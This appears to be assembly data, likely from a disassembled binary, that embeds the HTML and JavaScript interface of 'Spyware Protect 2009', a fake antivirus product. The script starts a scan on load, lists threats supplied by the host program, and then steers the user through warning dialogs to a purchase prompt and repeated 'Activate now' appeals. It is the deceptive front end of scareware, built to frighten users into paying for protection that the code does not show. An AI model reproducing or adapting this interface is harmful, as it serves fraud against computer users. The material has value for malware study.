db ' cell3 = row.insertCell(-1);',0Dh,0Ah
db 0Dh,0Ah
db ' cell1.innerHTML = ',27h,'<div class="rezultTablePath"><span clas'
db 's="verticalAlignMiddle">',27h,'+name+',27h,'</span></div>',27h,';',0Dh,0Ah
db ' cell1.className = ',27h,'rezultTableCell1 verticalAlignTop',27h,';',0Dh
db 0Ah
db ' cell2.innerHTML = ',27h,'<img style="float:left;" class="vertica'
db 'lAlignMiddle" src="alert-icon-small.gif" width="14" height="13" '
db 'border="0" /> <span class="color1 verticalAlignMiddle">',27h,'+sever'
db 'ity+',27h,'</span>',27h,';',0Dh,0Ah
db ' cell2.className = ',27h,'rezultTableCell2 verticalAlignTop',27h,';',0Dh
db 0Ah
db ' cell3.innerHTML = ',27h,'<div class="color2"><a href="javascript'
db ':showVirusDescription(\',27h,27h,'+name+',27h,'\',27h,',\',27h,27h,'+severity+',27h,'\'
db 27h,',\',27h,27h,'+description+',27h,'\',27h,');">',27h,'+description+',27h,'</a></div>'
db 27h,';',0Dh,0Ah
db ' cell3.className = ',27h,'rezultTableCell3 verticalAlignTop',27h,';',0Dh
db 0Ah
db ' scanned_threats = scanned_threats + 1;',0Dh,0Ah
db ' scan_threats.innerHTML = scanned_threats;',0Dh,0Ah
db ' ',0Dh,0Ah
db ' //scroll_table.scrollTop = 99999;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function clearVirusTable()',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'for(i=virus_table.rows.length-1; i > -1; i--)',0Dh,0Ah
db 9,9,'virus_table.deleteRow(i); ',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function setScanStatus(status)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'scan_status.innerHTML = status;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function setScanFile(filename)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'scan_file.innerHTML = filename;',0Dh,0Ah
db 9,'scanned_files = scanned_files+1;',0Dh,0Ah
db 9,'scan_total.innerHTML = scanned_files;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function setProgressBar(percent)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'progress_percent.innerHTML = percent + ',27h,'%',27h,';',0Dh,0Ah
db 9,'if(percent == 100)',0Dh,0Ah
db 9,9,'progress_bar.style.display = ',27h,'none',27h,';',0Dh,0Ah
db 9,'else',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'progress_bar.style.width = (100 - percent) + ',27h,'%',27h,';',0Dh,0Ah
db 9,9,'progress_bar.style.display = ',27h,'block',27h,';',0Dh,0Ah
db 9,'}',9,0Dh,0Ah
db 0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function onScanButtonClick()',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'external.scanButtonClick();',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function scanStart()',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'setScanStatus(',27h,'Scanning computer',27h,');',9,0Dh,0Ah
db 9,'setProgressBar(0);',0Dh,0Ah
db 9,'clearVirusTable();',0Dh,0Ah
db 9,'scanButton.innerHTML = "Stop scan";',0Dh,0Ah
db 9,'scanMode=true;',0Dh,0Ah
db 9,'scanned_files = 0;',0Dh,0Ah
db 9,'scanned_threats = 0;',0Dh,0Ah
db 9,'scan_total.innerHTML = scanned_files;',0Dh,0Ah
db 9,'scan_threats.innerHTML = scanned_threats;',0Dh,0Ah
db 9,'warningDialog(',27h,'hide',27h,');',0Dh,0Ah
db 9,'purchaseDialog(',27h,'hide',27h,');',0Dh,0Ah
db 9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function scanStop()',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'setScanStatus(',27h,'Scan complete',27h,');',9,0Dh,0Ah
db 9,'setProgressBar(100);',0Dh,0Ah
db 9,'scanButton.innerHTML = "Start scan";',0Dh,0Ah
db 9,'scanMode=false;',9,0Dh,0Ah
db 9,'hideVirusDescription();',0Dh,0Ah
db 9,'if(scanned_threats>0) warningDialog(',27h,'show',27h,');',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function showPurchase()',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'purchaseDialog(',27h,'show',27h,');',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function showVirusDescription(name, severity, description)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'document.getElementById(',27h,'threatName',27h,').innerHTML = name;',0Dh,0Ah
db 9,'document.getElementById(',27h,'riskLevel',27h,').innerHTML = severity;'
db 0Dh,0Ah
db 9,'document.getElementById(',27h,'threatDescription',27h,').innerHTML = d'
db 'escription; ',0Dh,0Ah
db 9,'document.getElementById(',27h,'virusInfo',27h,').style.display=',27h,'blo'
db 'ck',27h,'; ',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function hideVirusDescription()',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'document.getElementById(',27h,'virusInfo',27h,').style.display=',27h,'non'
db 'e',27h,'; ',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'function warningDialog(mode)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'dialog = document.getElementById(',27h,'warningDialog',27h,');',0Dh,0Ah
db 9,'switch(mode)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah
db 9,9,9,'if(purchaseActive == false)',0Dh,0Ah
db 9,9,9,'{',0Dh,0Ah
db 9,9,9,9,'dialog.className = ',27h,'warningDialog warningDialogActive',27h,';'
db 0Dh,0Ah
db 9,9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
db 9,9,9,9,'scanMode=true;',0Dh,0Ah
db 9,9,9,9,'warningActive=true;',0Dh,0Ah
db 9,9,9,'}',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah
db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah
db 9,9,9,'warningActive=false;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'noactive',27h,':',0Dh,0Ah
db 9,9,9,'dialog.className = ',27h,'warningDialog',27h,';',0Dh,0Ah
db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
db 9,9,9,'warningActive=false;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,'}',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function purchaseDialog(mode)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'dialog = document.getElementById(',27h,'purchaseDialog',27h,');',0Dh,0Ah
db 9,'switch(mode)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah
db 9,9,9,'if(warningActive == false)',0Dh,0Ah
db 9,9,9,'{',0Dh,0Ah
db 9,9,9,9,'dialog.className = ',27h,'purchaseDialog purchaseDialogActive',27h,';'
db 0Dh,0Ah
db 9,9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
db 9,9,9,9,'scanMode=true;',0Dh,0Ah
db 9,9,9,9,'purchaseActive = true;',0Dh,0Ah
db 9,9,9,'}',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah
db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah
db 9,9,9,'purchaseActive = false;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'noactive',27h,':',0Dh,0Ah
db 9,9,9,'dialog.className = ',27h,'purchaseDialog',27h,';',0Dh,0Ah
db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,'}',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function sureDialog(mode)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'dialog = document.getElementById(',27h,'sureDialog',27h,');',0Dh,0Ah
db 9,'switch(mode)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah
db 9,9,9,'dialog.className = ',27h,'sureDialog',27h,';',0Dh,0Ah
db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah
db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,'}',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'function onWarningDialog(but)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'if(but == 0)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'warningDialog(',27h,'noactive',27h,');',0Dh,0Ah
db 9,9,'purchaseDialog(',27h,'show',27h,');',0Dh,0Ah
db 9,'}',0Dh,0Ah
db 9,'else',0Dh,0Ah
db 9,'if(but == 1)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'warningDialog(',27h,'noactive',27h,');',0Dh,0Ah
db 9,9,'prevDialog = ',27h,'warningDialog',27h,';',0Dh,0Ah
db 9,9,'sureDialog(',27h,'show',27h,');',0Dh,0Ah
db 9,'}',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function onPurchaseDialog(but)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'if(but == 0)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'external.purchase();',0Dh,0Ah
db 9,'}',0Dh,0Ah
db 9,'else',0Dh,0Ah
db 9,'if(but == 1)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'purchaseDialog(',27h,'noactive',27h,');',0Dh,0Ah
db 9,9,'prevDialog = ',27h,'purchaseDialog',27h,';',0Dh,0Ah
db 9,9,'sureDialog(',27h,'show',27h,');',0Dh,0Ah
db 9,'}',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function onSureDialog(but)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'if(but == 0)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah
db 9,9,'warningDialog(',27h,'hide',27h,');',0Dh,0Ah
db 9,9,'purchaseDialog(',27h,'hide',27h,');',0Dh,0Ah
db 9,9,'scanMode=false;',0Dh,0Ah
db 9,'}',0Dh,0Ah
db 9,'else',0Dh,0Ah
db 9,'if(but == 1)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah
db 9,9,'if( prevDialog == ',27h,'purchaseDialog',27h,' ) {purchaseDialog(',27h,'s'
db 'how',27h,');}',0Dh,0Ah
db 9,9,'if( prevDialog == ',27h,'warningDialog',27h,' ) {warningDialog(',27h,'sh'
db 'ow',27h,');}',0Dh,0Ah
db 9,'}',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '</script>',0Dh,0Ah
db '</head>',0Dh,0Ah
db '<body onload="init();setScanStatus(',27h,'Ready',27h,');external.scanBu'
db 'ttonClick();">',0Dh,0Ah
db '<div onclick="this.style.display=',27h,'none',27h,';" id="virusInfo" st'
db 'yle="display:none;" class="virusInfo">',0Dh,0Ah
db '<div style="position: relative;left: 30px;top: 40px;margin-right:'
db ' 40px;font-size:10px;font-family:Verdana,sans-serif;">',0Dh,0Ah
db 'Threat: <span id="threatName"></span><br/><br/>Risk Level: <span '
db 'id="riskLevel"></span><br/><br/>Description: <span id="threatDesc'
db 'ription"></span>',0Dh,0Ah
db '</div>',0Dh,0Ah
db '</div>',0Dh,0Ah
db 0Dh,0Ah
db '<div id="warningDialog" style="display:none;" class="warningDialo'
db 'g">',0Dh,0Ah
db '<div style="position: relative;left: 65px;top: 107px;width:198px;'
db 'height:28px;cursor:hand;" onclick="onWarningDialog(0);"></div>',0Dh,0Ah
db '<div style="position: relative;left: 273px;top: 79px;width:198px;'
db 'height:28px;cursor:hand;" onclick="onWarningDialog(1);"></div>',0Dh,0Ah
db '</div>',0Dh,0Ah
db 0Dh,0Ah
db '<div id="purchaseDialog" style="display:none;" class="purchaseDia'
db 'log">',0Dh,0Ah
db '<div style="position: relative;left: 65px;top: 187px;width:198px;'
db 'height:28px;cursor:hand;" onclick="onPurchaseDialog(0);"></div>',0Dh
db 0Ah
db '<div style="position: relative;left: 273px;top: 159px;width:198px'
db ';height:28px;cursor:hand;" onclick="onPurchaseDialog(1);"></div>',0Dh
db 0Ah
db '</div>',0Dh,0Ah
db 0Dh,0Ah
db '<div id="sureDialog" style="display:none;" class="sureDialog">',0Dh,0Ah
db '<div style="position: relative;left: 65px;top: 107px;width:198px;'
db 'height:28px;cursor:hand;" onclick="onSureDialog(0);"></div>',0Dh,0Ah
db '<div style="position: relative;left: 273px;top: 79px;width:198px;'
db 'height:28px;cursor:hand;" onclick="onSureDialog(1);"></div>',0Dh,0Ah
db '</div>',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' <div id="commonBlock">',0Dh,0Ah
db 0Dh,0Ah
db ' <div id="headerBlock" onmousedown="external.DragWindow()"'
db '>',0Dh,0Ah
db ' <div class="logoBlock">',0Dh,0Ah
db ' <span class="logo">Spyware Protect</span> <sp'
db 'an class="logoYear">2009</span>',0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' <span class="logoSlogan">Protecting every sec'
db 'ond...</span>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' <div class="headerRightPart">',0Dh,0Ah
db ' <div class="clobut">',0Dh,0Ah
db ' ',9,'<a href="javascript:external.Close()"><im'
db 'g src="close-button.gif" border=0/></a>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 0Dh,0Ah
db ' <div id="contentBlock">',0Dh,0Ah
db ' ',0Dh,0Ah
db ' <div id="contentBlock-leftColumn">',0Dh,0Ah
db ' <div class="leftColumnTab">',0Dh,0Ah
db ' <div id="tab1" class="but"><div class="tab1" '
db 'onmouseover="onMenu(',27h,'tab1',27h,');" onclick="onMenuClick(',27h,'tab1'
db 27h,');"><span id="tab1text" class="menuText">Perform scan</span'
db '></div></div> ',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
db ' <div id="tab2" class="but"><div class="tab2" '
db 'onmouseover="onMenu(',27h,'tab2',27h,');" onclick="onMenuClick(',27h,'tab2'
db 27h,');"><span id="tab2text" class="menuText">Adjust settings</s'
db 'pan></div></div> ',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 9,9,9,9,' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
db ' <div id="tab3" class="but"><div class="tab3" '
db 'onmouseover="onMenu(',27h,'tab3',27h,');" onclick="onMenuClick(',27h,'tab3'
db 27h,');"><span id="tab3text" class="menuText">Get updates</span>'
db '</div></div> ',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
db ' <div id="tab4" class="but"><div class="tab4" '
db 'onmouseover="onMenu(',27h,'tab4',27h,');" onclick="onMenuClick(',27h,'tab4'
db 27h,');"><span id="tab4text" class="menuText">Activate now</span'
db '></div></div> ',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
db ' <div id="tab5" class="but"><div class="tab5" '
db 'onmouseover="onMenu(',27h,'tab5',27h,');" onclick="onMenuClick(',27h,'tab5'
db 27h,');"><span id="tab5text" class="menuText">Help & su'
db 'pport</span></div></div> '
db ' ',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' <div class="regTextMargin">',0Dh,0Ah
db ' ',9,' <img src="protect.gif" onclick="external.pu'
db 'rchase();"/>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' ',0Dh,0Ah
db ' <div class="contentBlock-rightColumn">',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' <div id="scan-panel" class="rightColumnPadding" '
db 'style="display:none;">',0Dh,0Ah
db ' <table class="contentHeader" border="0" '
db 'cellspacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="contentHeaderPadding-tab"'
db '>',0Dh,0Ah
db ' <img class="verticalAlignMiddle '
db 'marginHeaderIcon" src="header-icon.gif" width="19" height="23" bo'
db 'rder="0" alt="Alt text">',0Dh,0Ah
db ' <span>Performing scan</span>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' <td class="scanerActionButton" oncli'
db 'ck="onScanButtonClick();"><div id="scanButton" class="scanButStar'
db 't" style="padding-top:6px;">Start scan</div></td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' <table class="currentState" style="backg'
db 'round:url(currentState-bg.gif) no-repeat center top;" border="0" '
db 'cellspacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="currentStatePadding vertica'
db 'lAlignTop">',0Dh,0Ah
db ' <span>Current state:</span>',0Dh,0Ah
db ' <img class="verticalAlignMiddle" s'
db 'rc="point.gif" width="11" height="11" border="0" alt="Alt text" /'
db '>',0Dh,0Ah
db ' <span id="IDstatusmessage" class="'
db 'green">Ready</span>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' <tr class="scanPath">',0Dh,0Ah
db ' <td>',0Dh,0Ah
db ' <table class="scanPathTable" borde'
db 'r="0" cellspacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="scanPathIconTd">',0Dh
db 0Ah
db ' <img class="verticalAlign'
db 'Middle" src="scan-path-icon.gif" width="17" height="17" border="0'
db '" alt="Alt text" />',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' <td id="filename">',0Dh,0Ah
db ' <span id="IDscanedfile"><'
db '/span>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' <td class="scanPathTotalTd">',0Dh
db 0Ah
db ' <div class="scanPathTotal'
db '"><span class="totalText">Total: <span id="IDtotal">N/A</span></s'
db 'pan></div>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' <td class="threatsTotalTd">',0Dh
db 0Ah
db ' <div class="threatsTotal"'
db '><span class="totalText">Threats: <span id="IDthreats">N/A</span>'
db '</span></div>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' <table class="dataStat" border="0" cells'
db 'pacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="dataStatPadding verticalAli'
db 'gnTop" colspan="2">',0Dh,0Ah
db ' <table width="100%" border="0" cells'
db 'pacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td><span>Malware database status:'
db '</span> <img class="verticalAlignMiddle" src="point.gif" width="1'
db '1" height="11" border="0" alt="Alt text" /> <span class="green" i'
db 'd="dbStatus">Up to date</span></td>',0Dh,0Ah
db ' <td class="textAlignRight sigVerPa'
db 'dding"><img class="verticalAlignMiddle" src="version-icon.png" wi'
db 'dth="15" height="19" border="0" alt="Alt text" /> <span>Signature'
db ' version:</span> <span id="curd" class="blue"> </span> <span'
db ' class="lt-grey">(11345 entries)</span></td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' <tr class="updBase" id="updBase" onclic'
db 'k="external.purchase();">',0Dh,0Ah
db 9,' <td class="updBasePadding"><img class'
db '="verticalAlignMiddle" id="updBaseIcon" src="alert-icon.gif" widt'
db 'h="21" height="18" border="0" alt="Alt text" /> <span id="updBase'
db 'Text">Activate Spyware Protect 2009 now to be sure that maximal p'
db 'rotection is applied.</span></td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' <table class="rezultTableHead" border="0'
db '" cellspacing="0" cellpadding="3">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="rezultTableHeadCell1"><span'
db '>Threat name</span></td>',0Dh,0Ah
db ' <td class="rezultTableHeadCell2"><span'
db '>Severity</span></td>',0Dh,0Ah
db ' <td class="rezultTableHeadCell3"><span'
db '>Description (click on item for more information)</span></td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' <div id="scrollRezultTable">',0Dh,0Ah
db ' <table id="virusTable" class="rezult'
db 'Table" border="0" cellspacing="0" cellpadding="3">',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' <table class="scanProgress" border="0" c'
db 'ellspacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr class="scanProgressTopRow">',0Dh,0Ah
db ' <td class="scanProgressPadding"><img '
db 'class="verticalAlignMiddle" src="scan-progress-icon.gif" width="2'
db '0" height="17" border="0" alt="Alt text" /> <span>Scan progress</'
db 'span></td>',0Dh,0Ah
db ' <td class="textAlignRight scanProgres'
db 'sComplPadding"><span id="progressPercent" class="lt-green">0%</sp'
db 'an> <span>completed</span></td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="scanProgressPadding" colsp'
db 'an="2">',0Dh,0Ah
db ' ',9,'<table>',0Dh,0Ah
db ' ',9,9,'<tr>',0Dh,0Ah
db ' ',9,9,9,'<td align="right" style="backgr'
db 'ound:url(',27h,'scan-progress-scale-bg-green.png',27h,');" width="630" '
db 'height="21">',0Dh,0Ah
db ' ',9,9,9,9,'<table id="progressBar" style='
db '"border-collapse:collapse;" width="0" border="0">',0Dh,0Ah
db ' ',9,9,9,9,9,'<tr>',0Dh,0Ah
db ' ',9,9,9,9,9,9,'<td height="21" style="backg'
db 'round:url(',27h,'scan-progress-scale-bg.gif',27h,');"></td>',0Dh,0Ah
db ' ',9,9,9,9,9,'</tr>',0Dh,0Ah
db ' ',9,9,9,9,'</table>',0Dh,0Ah
db ' ',9,9,9,'</td>',0Dh,0Ah
db ' ',9,9,'</tr>',0Dh,0Ah
db ' ',9,'</table>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db ' ',0Dh,0Ah
db 9,9,9,9,' </div>',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' <div id="help-panel" class="rightColumnPadding" s'
db 'tyle="display:none;">',0Dh,0Ah
db 0Dh,0Ah
db ' <table class="contentHeader" border="0" cells'
db 'pacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah
db ' <img class="verticalAlignMiddle margi'
db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
db '"0" alt="Alt text">',0Dh,0Ah
db ' <span>Help & support</span>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db 0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
db '45"/>',0Dh,0Ah
db ' <div id="content" style="margin-top:-145px;" '
db 'class="tabTextBg">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <span class="header">Support</span>',0Dh
db 0Ah
db ' <br/>',0Dh,0Ah
db ' <p>',0Dh,0Ah
db ' If you have any questions or requ'
db 'ests concerning the Spyware Protect 2009',0Dh,0Ah
db ' product range, we will be pleased'
db ' to help you. All relevant information',0Dh,0Ah
db ' concerning our comprehensive supp'
db 'ort service can be found on our online',0Dh,0Ah
db ' support center.',0Dh,0Ah
db ' <br/><br/> ',0Dh,0Ah
db ' <div class="textAlignRight">',0Dh,0Ah
db ' <input class="visitSiteButton" ty'
db 'pe="button" id="visitButton" name="" value="Visit spyware protect'
db ' 2009 support center" />',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="9'
db '0"/>',0Dh,0Ah
db ' <div id="content" style="margin-top:-90px;" c'
db 'lass="tabTextBg">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <span class="header">About</span>',0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' <p>',0Dh,0Ah
db ' Copyright 2008 Spyware Protect 20'
db '09 Inc.',0Dh,0Ah
db ' All rights reserved.',0Dh,0Ah
db ' </p>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 0Dh,0Ah
db ' </div>',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' <div id="update-panel" class="rightColumnPadding"'
db ' style="display:none;">',0Dh,0Ah
db 0Dh,0Ah
db ' <table class="contentHeader" border="0" cells'
db 'pacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah
db ' <img class="verticalAlignMiddle margi'
db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
db '"0" alt="Alt text">',0Dh,0Ah
db ' <span>Get updates</span>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db 0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
db '45"/>',0Dh,0Ah
db ' <div id="content" style="margin-top:-145px;" '
db 'class="tabTextBg">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <span class="header">Database informa'
db 'tion</span>',0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' <span>',0Dh,0Ah
db ' Warning! Please note that you sho'
db 'uld be online before you update virus',0Dh,0Ah
db ' definition database. It is necess'
db 'ary',0Dh,0Ah
db ' to connect to Spyware Protect 200'
db '9 online updates center and download',0Dh,0Ah
db ' the last version of database.',0Dh,0Ah
db ' </span>',0Dh,0Ah
db ' <br/><br/>',0Dh,0Ah
db ' <img class="verticalAlignMiddle" src='
db '"version-icon.png" width="15" height="19" border="0" alt="Alt tex'
db 't" /> <span>Signature version:</span> <span class="blue" id="last'
db '-update">2008/5/9</span> <span class="lt-grey" id="getUpdate-verS'
db 'igs">(11345 entries)</span>',0Dh,0Ah
db ' ',0Dh,0Ah
db ' <div class="textAlignRight">',0Dh,0Ah
db ' <input class="getupdButton-big" type='
db '"button" id="install-updates-now" name="" value="Get update now" '
db '/>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="7'
db '0"/>',0Dh,0Ah
db ' <div id="content" style="margin-top:-70px;" '
db 'class="tabTextBg">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <img class="verticalAlignMiddle" id="'
db 'downloadIcon" src="download-icon.jpg" width="47" height="45" bord'
db 'er="0" alt="Alt text">',0Dh,0Ah
db ' <span class="header" id="downloadStat'
db 'us">Downloaded</span>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 0Dh,0Ah
db ' </div>',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' <div id="settings-panel" class="rightColumnPaddin'
db 'g" style="display:none;">',0Dh,0Ah
db ' <table class="contentHeader" border="0" cells'
db 'pacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah
db ' <img class="verticalAlignMiddle margi'
db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
db '"0" alt="Alt text">',0Dh,0Ah
db ' <span>Adjust settings</span> ',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
db '15"/>',0Dh,0Ah
db ' <div id="content" style="margin-top:-115px;" '
db 'class="tabTextBg">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <span class="header">Alert</span>',0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' <p>',0Dh,0Ah
db ' Alert, if last update older: <inp'
db 'ut class="panelSettingsField" id="alertPeriod" size="3" type="num'
db 'ber" value="1" step="1" minvalue="1" maxvalue="30" /> days.<br/>',0Dh
db 0Ah
db ' In this box you can enter the max'
db 'imum number of days allowed to have passed',0Dh,0Ah
db ' since the last update of virus de'
db 'finition database.',0Dh,0Ah
db ' </p>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
